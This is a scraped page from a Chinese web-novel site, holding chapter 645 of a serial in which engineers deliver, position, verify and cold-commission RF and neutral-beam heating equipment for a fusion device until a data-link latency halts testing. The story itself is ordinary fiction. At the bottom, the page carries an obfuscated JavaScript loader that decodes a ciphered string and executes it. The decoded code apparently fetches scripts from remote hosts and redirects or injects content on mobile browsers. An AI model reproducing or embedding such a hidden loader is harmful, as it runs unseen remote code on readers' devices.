首页
第645章 加热系统进场
返回
关灯 护眼:关 字号:小

第645章 加热系统进场

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第645章加热系统进场(第1/2页)
    加热系统设备抵达西北基地的清晨,戈壁上还挂着一层薄薄的灰白色雾气,主装置厂房外排好四辆重型运输车,车厢里装着高功率射频设备、中性束注入设备、控制柜、冷却模块和配套屏蔽组件。
    陈启从产业新城总部接入现场画面,主屏分成六个窗口,运输车状态、设备编号、厂房坐标、吊装路线、供电接口和安全权限各占一栏。
    刘绍武戴着安全帽站在第一辆车旁,手里的设备清单翻到首项。
    “RF主机,编号RF-01到RF-04,设备外观完整,封签与出厂记录一致。”
    运输负责人递来扫描终端,刘绍武对照设备铭牌和项目目录,逐项核过序列号。
    “中性束注入设备。”
    “NB-01到NB-06,设备外观完整,屏蔽层、束流入口和冷却管路均在运输状态。”
    “控制柜。”
    “主控柜两台,设备端控制柜四台,安全切断柜两台。”
    刘绍武抬头看向厂房方向:“进场路线清出来了吗?”
    许东升从外围通道走来:“路线完成清场,核心区门禁切换到安装状态,吊装组、安全组和设备组已在厂房内等候。”
    刘绍武点开路线图,红色箭头从运输区伸向主装置东侧,另一条蓝色箭头则从北侧通道延伸到中性束注入设备位置。
    “RF设备走东侧通道,NB设备走北侧通道,控制柜跟随对应设备进入,严禁跨区摆放。”
    陈启看着现场画面:“每台设备进场后先做状态核验,再进入安装位置。”
    刘绍武转过身:“明白。”
    陈启又看向运输负责人:“车厢温度和设备姿态记录同步回传,设备从运输状态切换到厂房状态,原始数据完整保留。”
    运输负责人应声:“记录链已接通。”
    “开始卸车。”
    四辆重型运输车的固定锁依次解除,吊装设备从厂房顶部伸出,第一台高功率射频主机被四点吊具托起,离开车厢后停在半空。
    刘绍武站在警戒线外,抬头观察吊具角度和设备姿态。
    “高度。”
    “离车厢一米二。”
    “姿态。”
    “横向差零点零二度,纵向差零点零一度。”
    “继续移动,速度降到每分钟三米。”
    吊具沿预设轨道缓慢向厂房入口移动,地面导向人员跟着设备前后行进,设备下方铺着防震垫,四周的测量人员不断刷新坐标数据。
    RF-01进入厂房后,吊具停在黄色坐标框内。
    刘绍武走到设备侧面,先查看外壳接口,再查看底部固定孔和冷却管道位置。
    “RF-01落位。”
    设备缓慢下降,底部支撑架接触承台,四组受力传感器同时亮起绿色标记。
    “支撑受力。”
    “左前零点零一,右前零点零二,左后零点零一,右后零点零二。”
    “设备姿态。”
    “横向零点零三毫米,纵向零点零二毫米。”
    刘绍武在设备进场记录上签下名字:“进入接口核验。”
    RF-02、RF-03和RF-04按照相同路线进场,每台设备进入厂房后都先停在独立坐标框内,设备组核对外观,结构组核对支撑,测量组核对坐标,安全组确认通道和门禁。
    高功率射频设备完成落位后,北侧通道开始转运中性束注入设备。
    NB-01体积更大,底部增加了两组辅助支撑,吊装平台的移动路线也更长,刘绍武站在北侧控制席,面前摆着中性束注入系统的分区图。
    “NB-01从北侧进入,越过主装置外缘后,向西侧回转。”
    吊装负责人问:“回转半径按照图纸执行?”
    “按照图纸,靠近主装置区域后降到每分钟两米。”
    “控制柜先入场吗?”
    “设备先入,控制柜跟随,接口坐标要以设备最终位置为准。”
    NB-01离开运输车,设备底部的姿态传感器把读数传回控制台,吊具沿北侧轨道向前移动,经过厂房入口,顶部测量链开始记录设备与主装置基座之间的距离。
    “横向差零点零四度。”
    “纵向差零点零二度。”
    “保持。”
    刘绍武看着设备通过厂房入口,抬手让吊装组减速。
    “进入主装置外缘,准备回转。”
    辅助吊具接管设备姿态,NB-01在半空完成小角度调整,设备前端朝向预留接口,底部支撑架与承台中心逐步重合。
    “中心差零点零六毫米。”
    “下降十厘米。”
    设备落到承台上,固定架逐点接触,四组受力曲线从低位抬起,随后保持在控制区间。
    刘绍武走近设备,查看束流入口、屏蔽层和冷却接口。
    “NB-01落位,设备状态交给结构组。”
    结构工程师接过测量终端:“底部支撑与图纸一致,北侧接口坐标进入工程区间。”
    刘绍武抬头:“记录,继续NB-02。”
    午后,八台核心设备全部进场,控制柜和冷却模块按照设备编号分区摆放,东侧高功率射频区与北侧中性束注入区之间留出安全通道,主装置控制中心则位于两套设备的共同上游。
    陈启从远程端看完整体布局,主装置模型叠加到现场坐标上,五个模块的接口关系逐渐清楚起来。
    真空室位于中心区域,第一壁材料等待安装,零阻超导约束线圈围在主装置核心位置,高功率射频设备和中性束注入设备分列两侧,控制柜通过独立线路接入主控制中心。
    李天从主装置控制室走出来,手里拿着加热系统安装记录。
    “设备进场完成。”
    陈启问:“接口状态?”
    “设备接口已完成初测,最终安装还要由刘绍武逐项复核。”
    “供电和冷却呢?”
    “主供电线路已接到设备端,冷却模块先做独立循环检查,主装置联调前再统一接入。”
    “安全切断?”
    “独立安全柜完成落位,罗正则已核过权限,设备端可以停机,安全端可以直接切断。”
    刘绍武带着设备组走到RF-01前,把接口图铺在移动工作台上。
    “高功率射频设备,先核四类接口,能量输入、波导转换、冷却回路、控制信号。”
    工程师接入测量设备,蓝色扫描光束从RF-01侧面开始移动,接口编号一处处显示在屏幕上。
    “RF-01东侧输入端,坐标差零点零三毫米。”
    “RF-02波导转换端,坐标差零点零四毫米。”
    “RF-03冷却回路入口,坐标差零点零二毫米。”
    “RF-04控制信号端,坐标差零点零三毫米。”
    刘绍武看完四组数据:“接口精度满足安装条件,设备端保持断电。”
    工程师问:“主控制线可以先接吗?”
    “先接信号线,能量线等设备安装完成后再接。”
    “冷却回路呢?”
    “接设备端,主装置侧阀门保持关闭。”
    刘绍武在接口表上签下名字,随后走向NB-01。
    “中性束注入设备,核束流入口、真空隔离、冷却和安全切断。”
    NB-01前端的防护罩被打开,测量人员沿设备边缘放置三个坐标标记,光束分别落在束流入口、隔离接口和底部固定点上。
    “束流入口坐标差零点零五毫米。”
    “真空隔离接口坐标差零点零四毫米。”
    “冷却接口坐标差零点零三毫米。”
    “安全切断接口。”
    “零点零二毫米。”
    (本章未完,请点击下一页继续阅读)第645章加热系统进场(第2/2页)
    刘绍武看向李天:“两套设备的控制端分开,安全端共用独立切断逻辑。”
    李天点头:“主控端发令,设备端执行,安全端拥有独立切断权限。”
    “控制信号的顺序呢?”
    “主装置状态确认,设备端进入待机,安全链确认,之后才允许设备输出。”
    刘绍武在NB接口图上圈出一处位置:“这组顺序写入安装记录。”
    工程师低头记录:“已经写入。”
    陈启接入现场通话:“加热系统设备端与主装置之间的接口,按设备编号建立独立档案,后续联调的数据也按编号归档。”
    刘绍武回答:“明白。”
    他把RF和NB两套接口图叠在一起,设备位置、冷却管路、控制线路和安全切断各自形成独立层,任何一组数据都能回到对应设备。
    “设备安装接口核验开始。”
    工程组人员围在操作台旁,刘绍武从RF-01开始逐台查看,每完成一台,便在对应设备栏落下一笔。
    “RF-01,输入端核验完成。”
    “RF-02,转换端核验完成。”
    “RF-03,冷却端核验完成。”
    “RF-04,控制端核验完成。”
    他转向北侧。
    “NB-01,束流入口核验完成。”
    “NB-02,隔离接口核验完成。”
    “NB-03,冷却端核验完成。”
    “NB-04,安全端核验完成。”
    剩余设备的核验继续进行,设备组将扫描报告、安装坐标和运输状态并入同一份工程文件。
    刘绍武站在两组设备之间,抬头看着主装置中心。
    “加热系统是把能量送进去,设备输出要有路径,信号要有顺序,安全链要有独立权限。”
    工程师问:“刘工,射频与中性束要同时安装吗?”
    “设备安装分区完成,系统联接按排期交叉推进。”
    “联合联接呢?”
    “等主控端发出统一指令。”
    “今天能做到哪一步?”
    “设备、供电、冷却和控制接口完成安装准备,联调由李总宣布。”
    刘绍武看了一遍接口表,抬手在两套设备的总确认栏签字。
    “加热系统进场,接口一处都得对。”
    陈启通过远程端看着现场:“刘工,安装接口完成后,设备进入什么状态?”
    “待机状态,设备端不输出能量,冷却保持独立循环,主控制端先接收状态反馈。”
    “按这个状态进入联调。”
    “明白。”
    下午四点,主装置控制中心完成联调前检查。
    李天站在主控台前,刘绍武在东侧设备席,沈明轩从产业新城光子中心接入数据平台,罗正则坐在独立安全席,顾文渊、苏明哲和陶安然则分别接入各自的材料、燃料和结构数据端。
    陈启位于远程总协调席,主屏上显示着晨曦主装置的实时模型。
    真空室状态处于待命,约束线圈处于待命,第一壁材料数据链保持运行,燃料循环接口保持隔离,加热系统的高功率射频和中性束注入设备已完成落位,诊断平台三路设备同时接通。
    李天翻开联调任务表。
    “联调前检查。”
    刘绍武:“RF设备八项状态确认。”
    “完成。”
    “NB设备八项状态确认。”
    “完成。”
    “控制柜状态。”
    “设备端、主控端和安全端均已接通。”
    “冷却回路。”
    “设备端独立循环完成,主装置侧处于待接入。”
    罗正则:“安全切断链保持独立,三个停机信号均完成自检。”
    沈明轩:“数据采集端、主控端和只读备份端已接通。”
    李天看向陈启:“联调条件确认完成。”
    陈启点开总表:“按冷态设备协同流程推进,先跑状态反馈,再跑控制信号,能源输入保持在联调测试范围。”
    李天把任务表翻到启动页,手掌按在联调启动栏旁。
    “各组准备。”
    主装置厂房里,设备指示灯依次亮起,RF-01到RF-04进入待机,NB-01到NB-06进入待命,控制柜屏幕显示设备状态,安全席的独立线路也同步接通。
    刘绍武站在设备端:“高功率射频系统待命。”
    “中性束注入系统待命。”
    “冷却模块待命。”
    “设备控制信号待命。”
    沈明轩看着数据屏:“采样端待命,时间戳同步。”
    罗正则:“安全端待命。”
    李天看向主屏。
    “全装置联调,正式启动。”
    控制中心的启动指令发出,真空室、约束线圈、加热系统和诊断平台依次进入联调程序,设备状态从待命转为测试状态,主装置模型上亮起一组组白色标记。
    第一项,状态反馈。
    RF设备回传供电状态、冷却状态、控制状态和输出状态,四组数据依次进入主控端。
    NB设备回传真空隔离、冷却状态、束流入口和安全切断状态,六台设备的反馈窗口逐个展开。
    “RF状态反馈收到。”
    “NB状态反馈收到。”
    “冷却状态收到。”
    “安全端状态收到。”
    李天抬手:“进入控制信号测试。”
    主控制端发出低等级测试信号,RF设备依照编号进入待机转换,NB设备同步接收控制指令,沈明轩的光子控制链开始记录指令发出、设备响应与状态回传的时间差。
    刘绍武盯着设备端:“RF-01响应。”
    “收到。”
    “RF-02响应。”
    “收到。”
    “NB-01响应。”
    “收到。”
    “NB-02响应。”
    “收到。”
    控制端继续发送测试信号,设备组按照编号确认,安全端则同步监测每一组状态变化。
    沈明轩看着产业新城的监控屏,三套数据链同时展开,光纤主链、专网副链和本地缓存分别记录控制信号,设备端的状态回传沿着时间轴向前移动。
    “控制信号进入数据链。”
    李天看向主屏:“保持低等级测试。”
    “保持。”
    第一轮设备状态反馈持续进行,主装置厂房内,各组人员守在自己的岗位,设备端指示灯与主控端状态标记保持对应,冷却模块的温度曲线沿低位运行,安全链的三组反馈也处于待命区间。
    刘绍武看向李天:“设备状态都在测试范围。”
    李天点头:“继续下一组控制信号。”
    沈明轩调出第二组数据,屏幕上的控制指令送到设备端,回传曲线却在进入诊断数据链后出现短暂停顿,时间戳与前端指令之间多出一段间隔。
    “数据链,时延了。”
    主屏上,原本连续的控制数据在一处出现卡顿,后方的响应时间数值跳出一段偏差,现场设备状态保持待命,安全端随即将联调过程锁在当前步骤。
    李天盯着那处数据,抬手让所有设备保持现状。
    “记录时延位置。”
    沈明轩将异常时间戳、设备编号和控制指令全部保存。
    李天翻开联调记录,在数据链问题栏写下时延二字,笔尖停在记录本上方。
    “时延不解决,联调就卡在这里。”
    他合上记录本,看向沈明轩的远程窗口。
    “明天,从这一处开始。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();